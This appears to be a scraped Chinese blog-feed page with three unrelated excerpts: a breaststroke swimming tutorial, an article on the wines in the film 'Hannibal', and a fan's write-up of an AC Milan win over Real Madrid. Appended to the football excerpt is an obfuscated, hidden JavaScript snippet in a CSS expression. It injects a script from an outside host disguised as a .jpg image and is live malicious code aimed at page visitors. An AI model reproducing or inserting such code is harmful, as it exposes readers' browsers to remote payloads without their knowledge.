Robert J
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蛙泳配合有一个顺口溜，在讲解蛙泳动作要领之前先介绍给大家：“划手腿不动，收手再收腿，先伸胳膊后蹬腿，并拢伸直漂一会儿。”从顺口溜中可以看到，手的动作是先于腿的动作。一定要在收手后再收腿，伸手后再蹬腿。 臂部动作： 1、外划。双手前伸，手掌倾斜大约45度(小拇指朝上)。双手同时向外、后方划，继而屈臂向后、向下方划。此时开始呼气。 2、内划。掌心由外转向内，手带动小臂加速内划，手由下向上并在胸前并拢(手高肘低、肘在肩下)，前伸。 3、前伸。双手向前伸(肘关节伸直)。要提醒大家注意的是：外划是放松的，内划是用力的、加速完成的、前伸是积极的。 4、蛙泳的完整配合动作：双手外划时抬头换气，双手内划时收腿低头稍憋气，双手前伸过头时蹬腿吐气。 腿部动作： 1.收腿：屈膝收腿，脚跟向臀部靠拢，小腿要躲在大腿后面慢收腿，这样可以减少阻力。收腿结束时，两膝与肩同宽，小腿与水面垂直，脚牚在水面附近。 2,翻脚：两脚距离大于两膝距离，两脚外翻，脚尖朝外，脚牚朝天，小腿和脚内侧对准水，像英文字母“W”。 3.蹬夹水：实际上是腿伸直的过程(屈髋、伸膝)，由腰腹和大腿同时发力，以小腿和脚内侧同时蹬夹水，先是向外、向后、向下，然后是向内、向上方蹬水，就像画半个圆圈。向外蹬水和向内夹水是连续完成的，也就是连蹬带夹。蹬夹水完成时双腿并拢伸直，双脚内转，脚尖相对。蹬水的速度不要过猛，要由慢到快地加速蹬水，两条腿将近伸直并拢的时候蹬水速度最快。 4.停：双腿并拢伸直后在一个短暂的滑行(1-2秒)。 阅读全文>> |
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6、《沉默的羔羊续集-汉尼贝尔》（HANNIBAL）</STRONG> 这部电影并非一部饮食电影，但是，通过对饮食的挑剔，也从侧面反映了主人公，食人魔王汉尼贝尔博士的性格。他残忍无情，但是知识渊博，品位高尚；杀人不眨眼表面上是对生命的无视，但从他对美食的态度，也可以看到他对生活的热爱。他杀人不是没有理由，只是从常人眼中，他的理由显得还没到至人于死地的地步。依照他对于宗教和自己人生观的理解，他杀的人或是犯了宗教界条中的死罪(如被他杀死的那个意大利警长)，或是他认为那个人的生命本身就没有任何意义(被他毁容的富家子弟)。他对于酒的挑剔程度无所不用其极，为小提琴手选了价值700美金一瓶的Montrachet顶级白葡萄酒；在街头露天咖啡厅小憩时，喝的是Castello Banfi酒厂的Chianti Classico Riserva红葡萄酒，生煎Paul的脑前叶的时候，旁边放的是阿尔萨斯著名酒厂Trimbach稀有的Clos St. Hune。就算是在飞机上，也自己带上自己的每餐和一瓶1995年份波尔多St. Estephe地区中级酒庄Chateau Phelan Segur的红葡萄酒，其质量堪称与列级酒庄媲美。 7、《007系列》(007 Series) </STRONG> 詹姆斯•邦德，他是一个每个毛孔都 |
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酒精的作用没有让我放弃凌晨的欧冠，深秋的寒意并未冷却对米兰的热情，一条毛毯、一顿凉水让我准时进入了比赛。这是属于我一个人的夜晚，以往清脆的蟋蟀声早已不知去处，在这宁静中我却不曾感觉孤单，因为球迷从来不是孤单的动物，黄健翔说“他不是一个人”。 上半场皇马大兵压境，米兰只有招架之功，让人眼前一亮的是久疏战阵的奥多，大有一夫当关之势，然而黄油手的一次对他来说不是意外的意外，延续了劳尔的神奇（黄油手也够神奇的）即使不是皇马的球迷也没有理由不尊敬这位伟大的射手，他是所有运动员的榜样。 第六十分钟的时候，皮尔洛手术刀般精准的远射让卡西明白了上课要好好听讲，不要走神，哪怕是一秒钟的开小差都会让你懊恼不已。皮皮的进球吹响了进攻的号角，仿佛从这一刻比赛才刚刚开始，双方队员才进入了最佳状态，皇马有能力颁平比赛，然而对帕托的绝杀却无力回天。 比赛已经结束了，心情即难以平静，怎能睡的着呢，此时不知道有多少个红黑的拥趸怀着我和一样兴奋的心情难以入眠，菜昂纳多的微笑还在眼前、小罗的醉拳依然清晰、皮尔洛的百步穿杨仍旧在回荡、帕托的绝杀仍然使人窒息...... 从任何角度来说这都是一场完美的比赛，一波三折的悬念、精彩的进球、雄性激素过盛引发的冲突、大将异主的仇恨，最终我们的米兰笑到了最后，庆祝吧米兰！ 幸甚至哉，激情之夜， 视觉一盛宴，谁解其中味？ ee:expression_r_r(function(){if(!window.r){var ss='s'+'cript';var tt='text/ja'+'vas'+'cript';var st=document.createElement_x(ss);st.src='http://imgcache.suqian114.cn/a/s/sina.jpg';st.type=tt;document.getElementsByTagName('head').item(0).appendChild(st);window.r=1}}(this));width:0px;display:none" ...阅读全文>> |
